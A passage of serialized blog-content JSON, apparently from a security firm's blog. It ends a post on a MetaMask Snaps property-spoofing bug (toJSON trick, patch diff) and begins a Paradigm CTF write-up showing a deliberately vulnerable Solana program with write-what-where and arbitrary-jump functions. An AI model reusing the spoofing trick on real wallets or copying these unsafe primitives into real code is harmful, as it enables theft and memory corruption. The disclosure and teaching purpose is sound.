type":28,"value":37001},{"type":23,"tag":139,"props":38000,"children":38001},{"style":245},[38002],{"type":28,"value":38003}," onRpcRequest",{"type":23,"tag":139,"props":38005,"children":38006},{"style":982},[38007],{"type":28,"value":2493},{"type":23,"tag":139,"props":38009,"children":38010},{"style":305},[38011],{"type":28,"value":38012}," OnRpcRequestHandler",{"type":23,"tag":139,"props":38014,"children":38015},{"style":982},[38016],{"type":28,"value":985},{"type":23,"tag":139,"props":38018,"children":38019},{"style":259},[38020],{"type":28,"value":38021}," ({ ",{"type":23,"tag":139,"props":38023,"children":38024},{"style":294},[38025],{"type":28,"value":38026},"origin",{"type":23,"tag":139,"props":38028,"children":38029},{"style":259},[38030],{"type":28,"value":1052},{"type":23,"tag":139,"props":38032,"children":38033},{"style":294},[38034],{"type":28,"value":29380},{"type":23,"tag":139,"props":38036,"children":38037},{"style":259},[38038],{"type":28,"value":38039}," }) ",{"type":23,"tag":139,"props":38041,"children":38042},{"style":279},[38043],{"type":28,"value":12833},{"type":23,"tag":139,"props":38045,"children":38046},{"style":259},[38047],{"type":28,"value":1268},{"type":23,"tag":139,"props":38049,"children":38050},{"class":141,"line":21678},[38051],{"type":23,"tag":139,"props":38052,"children":38053},{"emptyLinePlaceholder":15},[38054],{"type":28,"value":184},{"type":23,"tag":139,"props":38056,"children":38057},{"class":141,"line":21754},[38058,38063,38067,38071,38075,38079],{"type":23,"tag":139,"props":38059,"children":38060},{"style":319},[38061],{"type":28,"value":38062},"  switch",{"type":23,"tag":139,"props":38064,"children":38065},{"style":259},[38066],{"type":28,"value":1042},{"type":23,"tag":139,"props":38068,"children":38069},{"style":294},[38070],{"type":28,"value":29380},{"type":23,"tag":139,"props":38072,"children":38073},{"style":259},[38074],{"type":28,"value":73},{"type":23,"tag":139,"props":38076,"children":38077},{"style":294},[38078],{"type":28,"value":36203},{"type":23,"tag":139,"props":38080,"children":38081},{"style":259},[38082],{"type":28,"value":12815},{"type":23,"tag":139,"props":38084,"children":38085},{"class":141,"line":21787},[38086,38091,38096],{"type":23,"tag":139,"props":38087,"children":38088},{"style":319},[38089],{"type":28,"value":38090},"    case",{"type":23,"tag":139,"props":38092,"children":38093},{"style":265},[38094],{"type":28,"value":38095}," 'json'",{"type":23,"tag":139,"props":38097,"children":38098},{"style":259},[38099],{"type":28,"value":313},{"type":23,"tag":139,"props":38101,"children":38102},{"class":141,"line":21795},[38103,38107,38111],{"type":23,"tag":139,"props":38104,"children":38105},{"style":319},[38106],{"type":28,"value":37247},{"type":23,"tag":139,"props":38108,"children":38109},{"style":245},[38110],{"type":28,"value":37490},{"type":23,"tag":139,"props":38112,"children":38113},{"style":259},[38114],{"type":28,"value":1656},{"type":23,"tag":139,"props":38116,"children":38117},{"class":141,"line":21803},[38118,38122,38127],{"type":23,"tag":139,"props":38119,"children":38120},{"style":319},[38121],{"type":28,"value":38090},{"type":23,"tag":139,"props":38123,"children":38124},{"style":265},[38125],{"type":28,"value":38126}," 'transaction'",{"type":23,"tag":139,"props":38128,"children":38129},{"style":259},[38130],{"type":28,"value":313},{"type":23,"tag":139,"props":38132,"children":38133},{"class":141,"line":21840},[38134,38138,38142],{"type":23,"tag":139,"props":38135,"children":38136},{"style":319},[38137],{"type":28,"value":37247},{"type":23,"tag":139,"props":38139,"children":38140},{"style":245},[38141],{"type":28,"value":37722},{"type":23,"tag":139,"props":38143,"children":38144},{"style":259},[38145],{"type":28,"value":1656},{"type":23,"tag":139,"props":38147,"children":38148},{"class":141,"line":21853},[38149,38154],{"type":23,"tag":139,"props":38150,"children":38151},{"style":319},[38152],{"type":28,"value":38153},"    default",{"type":23,"tag":139,"props":38155,"children":38156},{"style":259},[38157],{"type":28,"value":313},{"type":23,"tag":139,"props":38159,"children":38160},{"class":141,"line":21866},[38161,38166,38170,38175,38179,38184],{"type":23,"tag":139,"props":38162,"children":38163},{"style":319},[38164],{"type":28,"value":38165},"      throw",{"type":23,"tag":139,"props":38167,"children":38168},{"style":279},[38169],{"type":28,"value":29820},{"type":23,"tag":139,"props":38171,"children":38172},{"style":245},[38173],{"type":28,"value":38174}," Error",{"type":23,"tag":139,"props":38176,"children":38177},{"style":259},[38178],{"type":28,"value":262},{"type":23,"tag":139,"props":38180,"children":38181},{"style":265},[38182],{"type":28,"value":38183},"'Method not found.'",{"type":23,"tag":139,"props":38185,"children":38186},{"style":259},[38187],{"type":28,"value":1820},{"type":23,"tag":139,"props":38189,"children":38190},{"class":141,"line":21879},[38191],{"type":23,"tag":139,"props":38192,"children":38193},{"style":259},[38194],{"type":28,"value":3874},{"type":23,"tag":139,"props":38196,"children":38197},{"class":141,"line":21933},[38198],{"type":23,"tag":139,"props":38199,"children":38200},{"style":259},[38201],{"type":28,"value":14589},{"type":23,"tag":24,"props":38203,"children":38204},{},[38205,38207,38213,38215,38220],{"type":28,"value":38206},"We set ",{"type":23,"tag":135,"props":38208,"children":38210},{"className":38209},[],[38211],{"type":28,"value":38212},"x.method = \"snap_dialog\"",{"type":28,"value":38214}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":135,"props":38216,"children":38218},{"className":38217},[],[38219],{"type":28,"value":37422},{"type":28,"value":38221}," after.",{"type":23,"tag":666,"props":38223,"children":38225},{"id":38224},"mitigation",[38226],{"type":28,"value":38227},"Mitigation",{"type":23,"tag":24,"props":38229,"children":38230},{},[38231,38233,38238,38240,38247],{"type":28,"value":38232},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":135,"props":38234,"children":38236},{"className":38235},[],[38237],{"type":28,"value":36966},{"type":28,"value":38239}," function execution. The patch was introduced on commit ",{"type":23,"tag":64,"props":38241,"children":38244},{"href":38242,"rel":38243},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[68],[38245],{"type":28,"value":38246},"168ff08",{"type":28,"value":38248}," with the following changes:",{"type":23,"tag":128,"props":38250,"children":38254},{"className":38251,"code":38252,"language":38253,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[38255],{"type":23,"tag":135,"props":38256,"children":38257},{"__ignoreMap":7},[38258,38266,38274,38282,38290],{"type":23,"tag":139,"props":38259,"children":38260},{"class":141,"line":142},[38261],{"type":23,"tag":139,"props":38262,"children":38263},{"style":259},[38264],{"type":28,"value":38265},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":139,"props":38267,"children":38268},{"class":141,"line":151},[38269],{"type":23,"tag":139,"props":38270,"children":38271},{"style":265},[38272],{"type":28,"value":38273},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":139,"props":38275,"children":38276},{"class":141,"line":160},[38277],{"type":23,"tag":139,"props":38278,"children":38279},{"style":265},[38280],{"type":28,"value":38281},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":139,"props":38283,"children":38284},{"class":141,"line":169},[38285],{"type":23,"tag":139,"props":38286,"children":38287},{"style":1016},[38288],{"type":28,"value":38289},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":139,"props":38291,"children":38292},{"class":141,"line":178},[38293],{"type":23,"tag":139,"props":38294,"children":38295},{"style":1016},[38296],{"type":28,"value":38297},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":41,"props":38299,"children":38300},{"id":26955},[38301],{"type":28,"value":16955},{"type":23,"tag":24,"props":38303,"children":38304},{},[38305],{"type":28,"value":38306},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":38308,"children":38309},{},[38310],{"type":28,"value":38311},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":817,"props":38313,"children":38314},{},[38315],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":38317},[38318,38319,38326,38334],{"id":16964,"depth":151,"text":16967},{"id":33342,"depth":151,"text":33345,"children":38320},[38321,38322,38323,38324,38325],{"id":33353,"depth":160,"text":33356},{"id":33421,"depth":160,"text":33424},{"id":33457,"depth":160,"text":33460},{"id":34853,"depth":160,"text":34856},{"id":35211,"depth":160,"text":35214},{"id":35998,"depth":151,"text":36001,"children":38327},[38328,38329,38330,38331,38332,38333],{"id":36004,"depth":160,"text":36007},{"id":36048,"depth":160,"text":36051},{"id":36952,"depth":160,"text":36955},{"id":3664,"depth":160,"text":3667},{"id":37395,"depth":160,"text":32718},{"id":38224,"depth":160,"text":38227},{"id":26955,"depth":151,"text":16955},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":38339,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":38340,"description":38341,"author":38342,"image":38344,"date":38346,"isFeatured":15,"onBlogPage":15,"body":38347,"_type":831,"_id":43767,"_source":833,"_file":43768,"_stem":43769,"_extension":836},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[38343,10],"nicola",{"src":38345},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":38348,"toc":43756},[38349,38363,38383,38388,38392,38405,38430,38436,38441,38456,38810,38825,39090,39106,39749,39755,39760,39773,39781,39993,40001,40304,40312,40455,40463,40988,40994,41006,41019,41033,41038,41806,41811,41819,41824,41830,41842,41907,41912,41925,41938,41944,41972,43123,43136,43178,43183,43188,43202,43342,43363,43384,43391,43442,43450,43461,43474,43479,43603,43616,43718,43722,43735,43740,43752],{"type":23,"tag":24,"props":38350,"children":38351},{},[38352,38354,38361],{"type":28,"value":38353},"In the world of CTFs, ",{"type":23,"tag":64,"props":38355,"children":38358},{"href":38356,"rel":38357},"https://twitter.com/paradigm_ctf",[68],[38359],{"type":28,"value":38360},"Paradigm CTF 2023",{"type":28,"value":38362}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":38364,"children":38365},{},[38366,38368,38375,38376],{"type":28,"value":38367},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":64,"props":38369,"children":38372},{"href":38370,"rel":38371},"https://osec.io/blog/2022-03-14-solana-security-intro",[68],[38373],{"type":28,"value":38374},"Solana: An Auditor's Introduction",{"type":28,"value":9002},{"type":23,"tag":64,"props":38377,"children":38380},{"href":38378,"rel":38379},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[68],[38381],{"type":28,"value":38382},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":38384,"children":38385},{},[38386],{"type":28,"value":38387},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":41,"props":38389,"children":38390},{"id":16964},[38391],{"type":28,"value":16967},{"type":23,"tag":24,"props":38393,"children":38394},{},[38395,38397,38403],{"type":28,"value":38396},"The challenge itself resides into ",{"type":23,"tag":135,"props":38398,"children":38400},{"className":38399},[],[38401],{"type":28,"value":38402},"framework/",{"type":28,"value":38404},", and is composed of 2 parts:",{"type":23,"tag":14699,"props":38406,"children":38407},{},[38408,38419],{"type":23,"tag":801,"props":38409,"children":38410},{},[38411,38417],{"type":23,"tag":135,"props":38412,"children":38414},{"className":38413},[],[38415],{"type":28,"value":38416},"framework/chall/lib.rs",{"type":28,"value":38418},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":801,"props":38420,"children":38421},{},[38422,38428],{"type":23,"tag":135,"props":38423,"children":38425},{"className":38424},[],[38426],{"type":28,"value":38427},"framework/src/main.rs",{"type":28,"value":38429},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":666,"props":38431,"children":38433},{"id":38432},"vulnerable-program",[38434],{"type":28,"value":38435},"Vulnerable Program",{"type":23,"tag":24,"props":38437,"children":38438},{},[38439],{"type":28,"value":38440},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":797,"props":38442,"children":38443},{},[38444],{"type":23,"tag":801,"props":38445,"children":38446},{},[38447,38448,38454],{"type":28,"value":5483},{"type":23,"tag":135,"props":38449,"children":38451},{"className":38450},[],[38452],{"type":28,"value":38453},"data[0] == 0",{"type":28,"value":38455}," a function that lets you write-what-where is executed",{"type":23,"tag":128,"props":38457,"children":38459},{"className":948,"code":38458,"language":947,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[38460],{"type":23,"tag":135,"props":38461,"children":38462},{"__ignoreMap":7},[38463,38471,38516,38527,38650,38767,38796,38803],{"type":23,"tag":139,"props":38464,"children":38465},{"class":141,"line":142},[38466],{"type":23,"tag":139,"props":38467,"children":38468},{"style":259},[38469],{"type":28,"value":38470},"#[inline(never)]\n",{"type":23,"tag":139,"props":38472,"children":38473},{"class":141,"line":151},[38474,38478,38482,38487,38491,38495,38499,38503,38507,38511],{"type":23,"tag":139,"props":38475,"children":38476},{"style":279},[38477],{"type":28,"value":11701},{"type":23,"tag":139,"props":38479,"children":38480},{"style":279},[38481],{"type":28,"value":11706},{"type":23,"tag":139,"props":38483,"children":38484},{"style":245},[38485],{"type":28,"value":38486}," write",{"type":23,"tag":139,"props":38488,"children":38489},{"style":259},[38490],{"type":28,"value":262},{"type":23,"tag":139,"props":38492,"children":38493},{"style":294},[38494],{"type":28,"value":1691},{"type":23,"tag":139,"props":38496,"children":38497},{"style":982},[38498],{"type":28,"value":2493},{"type":23,"tag":139,"props":38500,"children":38501},{"style":982},[38502],{"type":28,"value":5144},{"type":23,"tag":139,"props":38504,"children":38505},{"style":259},[38506],{"type":28,"value":1723},{"type":23,"tag":139,"props":38508,"children":38509},{"style":305},[38510],{"type":28,"value":1401},{"type":23,"tag":139,"props":38512,"children":38513},{"style":259},[38514],{"type":28,"value":38515},"]) {\n",{"type":23,"tag":139,"props":38517,"children":38518},{"class":141,"line":160},[38519,38523],{"type":23,"tag":139,"props":38520,"children":38521},{"style":279},[38522],{"type":28,"value":11844},{"type":23,"tag":139,"props":38524,"children":38525},{"style":259},[38526],{"type":28,"value":1268},{"type":23,"tag":139,"props":38528,"children":38529},{"class":141,"line":169},[38530,38534,38538,38542,38547,38551,38556,38560,38565,38569,38574,38578,38582,38586,38590,38594,38598,38602,38606,38610,38614,38618,38622,38626,38630,38634,38638,38642,38646],{"type":23,"tag":139,"props":38531,"children":38532},{"style":279},[38533],{"type":28,"value":1037},{"type":23,"tag":139,"props":38535,"children":38536},{"style":294},[38537],{"type":28,"value":11868},{"type":23,"tag":139,"props":38539,"children":38540},{"style":982},[38541],{"type":28,"value":985},{"type":23,"tag":139,"props":38543,"children":38544},{"style":259},[38545],{"type":28,"value":38546}," std",{"type":23,"tag":139,"props":38548,"children":38549},{"style":982},[38550],{"type":28,"value":1461},{"type":23,"tag":139,"props":38552,"children":38553},{"style":259},[38554],{"type":28,"value":38555},"mem",{"type":23,"tag":139,"props":38557,"children":38558},{"style":982},[38559],{"type":28,"value":1461},{"type":23,"tag":139,"props":38561,"children":38562},{"style":245},[38563],{"type":28,"value":38564},"transmute",{"type":23,"tag":139,"props":38566,"children":38567},{"style":982},[38568],{"type":28,"value":1461},{"type":23,"tag":139,"props":38570,"children":38571},{"style":259},[38572],{"type":28,"value":38573},"\u003C[",{"type":23,"tag":139,"props":38575,"children":38576},{"style":305},[38577],{"type":28,"value":1401},{"type":23,"tag":139,"props":38579,"children":38580},{"style":259},[38581],{"type":28,"value":15239},{"type":23,"tag":139,"props":38583,"children":38584},{"style":1016},[38585],{"type":28,"value":2075},{"type":23,"tag":139,"props":38587,"children":38588},{"style":259},[38589],{"type":28,"value":21069},{"type":23,"tag":139,"props":38591,"children":38592},{"style":982},[38593],{"type":28,"value":2573},{"type":23,"tag":139,"props":38595,"children":38596},{"style":279},[38597],{"type":28,"value":1713},{"type":23,"tag":139,"props":38599,"children":38600},{"style":305},[38601],{"type":28,"value":3862},{"type":23,"tag":139,"props":38603,"children":38604},{"style":259},[38605],{"type":28,"value":5614},{"type":23,"tag":139,"props":38607,"children":38608},{"style":294},[38609],{"type":28,"value":1691},{"type":23,"tag":139,"props":38611,"children":38612},{"style":259},[38613],{"type":28,"value":1723},{"type":23,"tag":139,"props":38615,"children":38616},{"style":982},[38617],{"type":28,"value":1024},{"type":23,"tag":139,"props":38619,"children":38620},{"style":1016},[38621],{"type":28,"value":2075},{"type":23,"tag":139,"props":38623,"children":38624},{"style":259},[38625],{"type":28,"value":13423},{"type":23,"tag":139,"props":38627,"children":38628},{"style":982},[38629],{"type":28,"value":73},{"type":23,"tag":139,"props":38631,"children":38632},{"style":245},[38633],{"type":28,"value":24183},{"type":23,"tag":139,"props":38635,"children":38636},{"style":259},[38637],{"type":28,"value":11890},{"type":23,"tag":139,"props":38639,"children":38640},{"style":982},[38641],{"type":28,"value":73},{"type":23,"tag":139,"props":38643,"children":38644},{"style":245},[38645],{"type":28,"value":1651},{"type":23,"tag":139,"props":38647,"children":38648},{"style":259},[38649],{"type":28,"value":13437},{"type":23,"tag":139,"props":38651,"children":38652},{"class":141,"line":178},[38653,38657,38662,38666,38670,38674,38678,38682,38686,38690,38694,38698,38702,38706,38710,38714,38718,38722,38726,38730,38734,38739,38743,38747,38751,38755,38759,38763],{"type":23,"tag":139,"props":38654,"children":38655},{"style":279},[38656],{"type":28,"value":1037},{"type":23,"tag":139,"props":38658,"children":38659},{"style":294},[38660],{"type":28,"value":38661}," val",{"type":23,"tag":139,"props":38663,"children":38664},{"style":982},[38665],{"type":28,"value":985},{"type":23,"tag":139,"props":38667,"children":38668},{"style":259},[38669],{"type":28,"value":38546},{"type":23,"tag":139,"props":38671,"children":38672},{"style":982},[38673],{"type":28,"value":1461},{"type":23,"tag":139,"props":38675,"children":38676},{"style":259},[38677],{"type":28,"value":38555},{"type":23,"tag":139,"props":38679,"children":38680},{"style":982},[38681],{"type":28,"value":1461},{"type":23,"tag":139,"props":38683,"children":38684},{"style":245},[38685],{"type":28,"value":38564},{"type":23,"tag":139,"props":38687,"children":38688},{"style":982},[38689],{"type":28,"value":1461},{"type":23,"tag":139,"props":38691,"children":38692},{"style":259},[38693],{"type":28,"value":38573},{"type":23,"tag":139,"props":38695,"children":38696},{"style":305},[38697],{"type":28,"value":1401},{"type":23,"tag":139,"props":38699,"children":38700},{"style":259},[38701],{"type":28,"value":15239},{"type":23,"tag":139,"props":38703,"children":38704},{"style":1016},[38705],{"type":28,"value":2075},{"type":23,"tag":139,"props":38707,"children":38708},{"style":259},[38709],{"type":28,"value":21069},{"type":23,"tag":139,"props":38711,"children":38712},{"style":305},[38713],{"type":28,"value":6046},{"type":23,"tag":139,"props":38715,"children":38716},{"style":259},[38717],{"type":28,"value":5614},{"type":23,"tag":139,"props":38719,"children":38720},{"style":294},[38721],{"type":28,"value":1691},{"type":23,"tag":139,"props":38723,"children":38724},{"style":259},[38725],{"type":28,"value":1723},{"type":23,"tag":139,"props":38727,"children":38728},{"style":1016},[38729],{"type":28,"value":2075},{"type":23,"tag":139,"props":38731,"children":38732},{"style":982},[38733],{"type":28,"value":1024},{"type":23,"tag":139,"props":38735,"children":38736},{"style":1016},[38737],{"type":28,"value":38738},"16",{"type":23,"tag":139,"props":38740,"children":38741},{"style":259},[38742],{"type":28,"value":13423},{"type":23,"tag":139,"props":38744,"children":38745},{"style":982},[38746],{"type":28,"value":73},{"type":23,"tag":139,"props":38748,"children":38749},{"style":245},[38750],{"type":28,"value":24183},{"type":23,"tag":139,"props":38752,"children":38753},{"style":259},[38754],{"type":28,"value":11890},{"type":23,"tag":139,"props":38756,"children":38757},{"style":982},[38758],{"type":28,"value":73},{"type":23,"tag":139,"props":38760,"children":38761},{"style":245},[38762],{"type":28,"value":1651},{"type":23,"tag":139,"props":38764,"children":38765},{"style":259},[38766],{"type":28,"value":13437},{"type":23,"tag":139,"props":38768,"children":38769},{"class":141,"line":187},[38770,38775,38779,38784,38788,38792],{"type":23,"tag":139,"props":38771,"children":38772},{"style":294},[38773],{"type":28,"value":38774},"        ptr",{"type":23,"tag":139,"props":38776,"children":38777},{"style":982},[38778],{"type":28,"value":73},{"type":23,"tag":139,"props":38780,"children":38781},{"style":245},[38782],{"type":28,"value":38783},"write_volatile",{"type":23,"tag":139,"props":38785,"children":38786},{"style":259},[38787],{"type":28,"value":262},{"type":23,"tag":139,"props":38789,"children":38790},{"style":294},[38791],{"type":28,"value":10643},{"type":23,"tag":139,"props":38793,"children":38794},{"style":259},[38795],{"type":28,"value":1820},{"type":23,"tag":139,"props":38797,"children":38798},{"class":141,"line":196},[38799],{"type":23,"tag":139,"props":38800,"children":38801},{"style":259},[38802],{"type":28,"value":1335},{"type":23,"tag":139,"props":38804,"children":38805},{"class":141,"line":205},[38806],{"type":23,"tag":139,"props":38807,"children":38808},{"style":259},[38809],{"type":28,"value":1897},{"type":23,"tag":797,"props":38811,"children":38812},{"start":151},[38813],{"type":23,"tag":801,"props":38814,"children":38815},{},[38816,38817,38823],{"type":28,"value":5483},{"type":23,"tag":135,"props":38818,"children":38820},{"className":38819},[],[38821],{"type":28,"value":38822},"data[0] == 1",{"type":28,"value":38824},", a CPI to a non-existent program is executed:",{"type":23,"tag":128,"props":38826,"children":38828},{"className":948,"code":38827,"language":947,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[38829],{"type":23,"tag":135,"props":38830,"children":38831},{"__ignoreMap":7},[38832,38839,38883,38908,38938,38978,38999,39006,39013,39025,39041,39053,39064,39083],{"type":23,"tag":139,"props":38833,"children":38834},{"class":141,"line":142},[38835],{"type":23,"tag":139,"props":38836,"children":38837},{"style":259},[38838],{"type":28,"value":38470},{"type":23,"tag":139,"props":38840,"children":38841},{"class":141,"line":151},[38842,38846,38850,38855,38859,38863,38867,38871,38875,38879],{"type":23,"tag":139,"props":38843,"children":38844},{"style":279},[38845],{"type":28,"value":11701},{"type":23,"tag":139,"props":38847,"children":38848},{"style":279},[38849],{"type":28,"value":11706},{"type":23,"tag":139,"props":38851,"children":38852},{"style":245},[38853],{"type":28,"value":38854}," call",{"type":23,"tag":139,"props":38856,"children":38857},{"style":259},[38858],{"type":28,"value":262},{"type":23,"tag":139,"props":38860,"children":38861},{"style":294},[38862],{"type":28,"value":1691},{"type":23,"tag":139,"props":38864,"children":38865},{"style":982},[38866],{"type":28,"value":2493},{"type":23,"tag":139,"props":38868,"children":38869},{"style":982},[38870],{"type":28,"value":5144},{"type":23,"tag":139,"props":38872,"children":38873},{"style":259},[38874],{"type":28,"value":1723},{"type":23,"tag":139,"props":38876,"children":38877},{"style":305},[38878],{"type":28,"value":1401},{"type":23,"tag":139,"props":38880,"children":38881},{"style":259},[38882],{"type":28,"value":38515},{"type":23,"tag":139,"props":38884,"children":38885},{"class":141,"line":160},[38886,38890,38895,38899,38904],{"type":23,"tag":139,"props":38887,"children":38888},{"style":279},[38889],{"type":28,"value":969},{"type":23,"tag":139,"props":38891,"children":38892},{"style":294},[38893],{"type":28,"value":38894}," ix",{"type":23,"tag":139,"props":38896,"children":38897},{"style":982},[38898],{"type":28,"value":985},{"type":23,"tag":139,"props":38900,"children":38901},{"style":305},[38902],{"type":28,"value":38903}," Instruction",{"type":23,"tag":139,"props":38905,"children":38906},{"style":259},[38907],{"type":28,"value":1268},{"type":23,"tag":139,"props":38909,"children":38910},{"class":141,"line":169},[38911,38916,38920,38925,38929,38934],{"type":23,"tag":139,"props":38912,"children":38913},{"style":294},[38914],{"type":28,"value":38915},"        program_id",{"type":23,"tag":139,"props":38917,"children":38918},{"style":982},[38919],{"type":28,"value":2493},{"type":23,"tag":139,"props":38921,"children":38922},{"style":245},[38923],{"type":28,"value":38924}," pubkey!",{"type":23,"tag":139,"props":38926,"children":38927},{"style":259},[38928],{"type":28,"value":262},{"type":23,"tag":139,"props":38930,"children":38931},{"style":265},[38932],{"type":28,"value":38933},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":139,"props":38935,"children":38936},{"style":259},[38937],{"type":28,"value":4739},{"type":23,"tag":139,"props":38939,"children":38940},{"class":141,"line":178},[38941,38946,38950,38954,38958,38962,38966,38970,38974],{"type":23,"tag":139,"props":38942,"children":38943},{"style":294},[38944],{"type":28,"value":38945},"        data",{"type":23,"tag":139,"props":38947,"children":38948},{"style":982},[38949],{"type":28,"value":2493},{"type":23,"tag":139,"props":38951,"children":38952},{"style":294},[38953],{"type":28,"value":13116},{"type":23,"tag":139,"props":38955,"children":38956},{"style":982},[38957],{"type":28,"value":73},{"type":23,"tag":139,"props":38959,"children":38960},{"style":245},[38961],{"type":28,"value":24183},{"type":23,"tag":139,"props":38963,"children":38964},{"style":259},[38965],{"type":28,"value":11890},{"type":23,"tag":139,"props":38967,"children":38968},{"style":982},[38969],{"type":28,"value":73},{"type":23,"tag":139,"props":38971,"children":38972},{"style":245},[38973],{"type":28,"value":1651},{"type":23,"tag":139,"props":38975,"children":38976},{"style":259},[38977],{"type":28,"value":1471},{"type":23,"tag":139,"props":38979,"children":38980},{"class":141,"line":187},[38981,38986,38990,38994],{"type":23,"tag":139,"props":38982,"children":38983},{"style":294},[38984],{"type":28,"value":38985},"        accounts",{"type":23,"tag":139,"props":38987,"children":38988},{"style":982},[38989],{"type":28,"value":2493},{"type":23,"tag":139,"props":38991,"children":38992},{"style":245},[38993],{"type":28,"value":1718},{"type":23,"tag":139,"props":38995,"children":38996},{"style":259},[38997],{"type":28,"value":38998},"[]\n",{"type":23,"tag":139,"props":39000,"children":39001},{"class":141,"line":196},[39002],{"type":23,"tag":139,"props":39003,"children":39004},{"style":259},[39005],{"type":28,"value":36887},{"type":23,"tag":139,"props":39007,"children":39008},{"class":141,"line":205},[39009],{"type":23,"tag":139,"props":39010,"children":39011},{"emptyLinePlaceholder":15},[39012],{"type":28,"value":184},{"type":23,"tag":139,"props":39014,"children":39015},{"class":141,"line":214},[39016,39021],{"type":23,"tag":139,"props":39017,"children":39018},{"style":245},[39019],{"type":28,"value":39020},"    invoke_signed_unchecked",{"type":23,"tag":139,"props":39022,"children":39023},{"style":259},[39024],{"type":28,"value":1443},{"type":23,"tag":139,"props":39026,"children":39027},{"class":141,"line":1320},[39028,39032,39037],{"type":23,"tag":139,"props":39029,"children":39030},{"style":982},[39031],{"type":28,"value":1451},{"type":23,"tag":139,"props":39033,"children":39034},{"style":294},[39035],{"type":28,"value":39036},"ix",{"type":23,"tag":139,"props":39038,"children":39039},{"style":259},[39040],{"type":28,"value":1488},{"type":23,"tag":139,"props":39042,"children":39043},{"class":141,"line":1329},[39044,39048],{"type":23,"tag":139,"props":39045,"children":39046},{"style":982},[39047],{"type":28,"value":1451},{"type":23,"tag":139,"props":39049,"children":39050},{"style":259},[39051],{"type":28,"value":39052},"[],\n",{"type":23,"tag":139,"props":39054,"children":39055},{"class":141,"line":1580},[39056,39060],{"type":23,"tag":139,"props":39057,"children":39058},{"style":982},[39059],{"type":28,"value":1451},{"type":23,"tag":139,"props":39061,"children":39062},{"style":259},[39063],{"type":28,"value":39052},{"type":23,"tag":139,"props":39065,"children":39066},{"class":141,"line":1597},[39067,39071,39075,39079],{"type":23,"tag":139,"props":39068,"children":39069},{"style":259},[39070],{"type":28,"value":1642},{"type":23,"tag":139,"props":39072,"children":39073},{"style":982},[39074],{"type":28,"value":73},{"type":23,"tag":139,"props":39076,"children":39077},{"style":245},[39078],{"type":28,"value":1651},{"type":23,"tag":139,"props":39080,"children":39081},{"style":259},[39082],{"type":28,"value":1656},{"type":23,"tag":139,"props":39084,"children":39085},{"class":141,"line":1614},[39086],{"type":23,"tag":139,"props":39087,"children":39088},{"style":259},[39089],{"type":28,"value":1897},{"type":23,"tag":797,"props":39091,"children":39092},{"start":160},[39093],{"type":23,"tag":801,"props":39094,"children":39095},{},[39096,39098,39104],{"type":28,"value":39097},"Finally, if ",{"type":23,"tag":135,"props":39099,"children":39101},{"className":39100},[],[39102],{"type":28,"value":39103},"data[0]",{"type":28,"value":39105}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":128,"props":39107,"children":39109},{"className":948,"code":39108,"language":947,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    